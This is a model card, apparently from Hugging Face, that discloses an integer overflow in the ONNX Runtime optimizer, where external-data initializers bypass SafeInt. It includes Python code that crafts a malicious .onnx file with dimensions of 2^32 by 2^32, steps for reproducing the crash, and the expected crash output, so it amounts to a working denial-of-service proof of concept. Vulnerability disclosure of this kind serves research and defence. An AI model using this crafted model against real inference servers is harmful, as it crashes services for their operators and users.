CoolFace
Modelpublic

jayantkamble10000/onnx-integer-overflow-poc

sourceHugging Facemitupdated 5mo agoView on Hugging Face
0likes
Model Card

ONNX Runtime Integer Overflow PoC — External Data SafeInt Bypass

Integer overflow vulnerability (CWE-190) in ONNX Runtime v1.24.4's optimizer. Critical discovery: SafeInt protection is bypassed for external-data initializers, allowing the overflow to corrupt optimizer logic and reach dead code.

Vulnerability Details

  • File: onnxruntime/core/optimizer/noop_elimination.cc:52-62
  • Bypass File: onnxruntime/core/graph/graph.cc:3744-3776
  • Type: CWE-190 Integer Overflow → CWE-617 Reachable Assertion
  • Impact: Denial of Service via optimizer logic corruption
  • CVSS: 7.5 (High)
  • Target: ONNX Runtime v1.24.4 (default optimization settings)

Mathematical Proof

Dimension 1: 4,294,967,296 (2^32)
Dimension 2: 4,294,967,296 (2^32)
Product: 18,446,744,073,709,551,616 (2^64)
INT64_MAX: 9,223,372,036,854,775,807 (2^63 - 1)
Result: 2^64 > INT64_MAX ✓ CONFIRMED INTEGER OVERFLOW

The Two-Path Proof

The same malicious model produces two different crashes depending on optimization level. Divergent crash sites prove the optimizer path bypasses SafeInt.

Path A — Baseline (Optimization Disabled)

python
import onnxruntime as rt
so = rt.SessionOptions()
so.graph_optimization_level = rt.GraphOptimizationLevel.ORT_DISABLE_ALL
rt.InferenceSession("exploit.onnx", so)

Crash: safeint.h:17 — SafeIntOnOverflow() Meaning: SafeInt correctly rejects malformed dimensions when the optimizer is disabled.

Path B — Exploit (Optimization Enabled, Default)

import onnxruntime as rt
so = rt.SessionOptions()
so.graph_optimization_level = rt.GraphOptimizationLevel.ORT_ENABLE_ALL
rt.InferenceSession("exploit.onnx", so)

Crash: graphutils.cc:650 — Should be unreachable Meaning: SafeInt never fires. The overflow in noopelimination.cc corrupts the decision to remove a non-noop node, reaching dead code that should never execute. If SafeInt had caught the exploit, both paths would crash at safeint.h. They don't. The crash moved to a defensive assertion in graph topology code — proof of control-flow corruption.

Root Cause Chain

This is a two-stage vulnerability. SafeInt exists in ONNX Runtime, but a code path introduced for external-data initializers skips it entirely.

  1. 1.SafeInt Bypass (graph.cc:3775)
// ConvertInitializersIntoOrtValues()
if (utils::HasExternalData(tensor_proto)) {
    ...validate file path exists...
    continue;  // ← SKIPS GetSizeInBytesFromTensorProto (SafeInt)
}

External-data initializers skip the only SafeInt check in this path. File existence is validated; tensor size is not.

  1. 1.Integer Overflow (noop_elimination.cc:54)
int64_t tensor_size = 1;
for (auto i : dims) {
    tensor_size *= i;  // OVERFLOWS SILENTLY: 1 × 2^32 × 2^32 = 2^64 → wraps to 0
}
  1. 1.Logic Corruption (noop_elimination.cc:62)
if (tensor_size == 0) return true;  // WRONG: overflow mistaken for "empty tensor"

The optimizer incorrectly marks the node as a no-op.

  1. 1.Dead Code Reached (graph_utils.cc:650)
// Should be unreachable if CanRemoveNodeAndMergeEdges is in sync with the logic here

RemoveNode() fires an assertion because the guard logic was corrupted by the overflow.

How to Trigger/Reproduction

python
pip install onnx onnxruntime numpy

# Run the two-path demonstration
python3 TRIAGER_RESPONSE_FINAL.py

The script automatically executes both BASELINE and EXPLOIT paths and compares crash sites.

Expected Output

Two different crashes from the same model prove the optimizer path bypasses SafeInt:

BASELINE (Optimization Disabled)

Exception during initialization: /onnxruntime/core/common/safeint.h:17 SafeIntExceptionHandler::SafeIntOnOverflow() Integer overflow

### EXPLOIT (Optimization Enabled — Default)

Exception during initialization: /onnxruntime/core/graph/graph_utils.cc:650 Should be unreachable if CanRemoveNodeAndMergeEdges is in sync with the logic here

**Interpretation:** If SafeInt had caught the exploit, both paths would crash at `safeint.h`. The exploit crashes at `graph_utils.cc:650` instead — dead code reached via optimizer logic corruption. SafeInt is bypassed for external-data initializers.

Root Cause

The noop_elimination optimizer multiplies tensor dimensions without overflow checking:

cpp
int64_t tensor_size = 1;
for (auto i : dims) {
  tensor_size *= i;  // CWE-190: NO OVERFLOW PROTECTION
}

Attack Vector

  1. 1.Create valid ONNX model with external data initializer (bypasses inline-data SafeInt)
  2. 2.Set dimensions to [2^32, 2^32] in binary protobuf (product overflows int64_t)
  3. 3.Keep external data file small (4 bytes) — only path existence is checked
  4. 4.Load model with GraphOptimizationLevel.ORTENABLEALL (production default)
  5. 5.Result: Session initialization crash via unreachable assertion Why external data matters: Production models > 2GB use external data by default. This is not an edge case.

Files

FileDescription
SafeIntexploit.onnxMalicious model with external-data initializer (dims=[2^32, 2^32])
bias_data.bin4-byte external data file (satisfies path-existence check only)
SafeInt_PoC.pyComplete two-path PoC with baseline vs exploit comparison
HUNTR_PoC_CORRECTED.pyOriginal dimension-crafting script

Impact

  • Attack Vector: Malicious .onnx model with external data
  • Trigger: Model load with graph optimization enabled (default in production)
  • Result: Denial of Service (process abort via unreachable assertion)
  • Affected: Production ORT model servers, inference pipelines, CI/CD systems loading untrusted models

Why This Works

  • Python ONNX validator only checks dimensions at creation time
  • Binary protobuf format allows modification after creation
  • ONNX Runtime doesn't re-validate at load time
  • Optimizer processes dimensions without bounds checking

Generation

The PoC model is generated using:

python
# Create valid model with small initializer
init_data = bytes([0] * 100)  # 100 bytes
init_tensor = helper.make_tensor(
    name='init_tensor',
    data_type=TensorProto.FLOAT,
    dims=[25],  # Valid: 25 * 4 = 100 bytes
    vals=init_data,
    raw=True
)

# Modify protobuf to set overflow dimensions
model = onnx.load("base_model.onnx")
for init in model.graph.initializer:
    if init.name == 'init_tensor':
        del init.dims[:]
        init.dims.append(4294967296)  # 2^32
        init.dims.append(4294967296)  # 2^32
        # 2^64 > INT64_MAX causes overflow

onnx.save(model, "integer_overflow_poc.onnx")

Vulnerability Status

  • Discovered: April 19, 2026
  • Status: Reported to Huntr (pending triage)
  • Triager Response: "SafeInt prevents exploitation" — rebutted via external-data bypass discovery

References

  • CWE-190: https://cwe.mitre.org/data/definitions/190.html
  • OWASP Integer Overflow: https://owasp.org/www-community/attacks/Integer_Overflow
  • ONNX Runtime: https://github.com/microsoft/onnxruntime
  • Huntr: https://huntr.com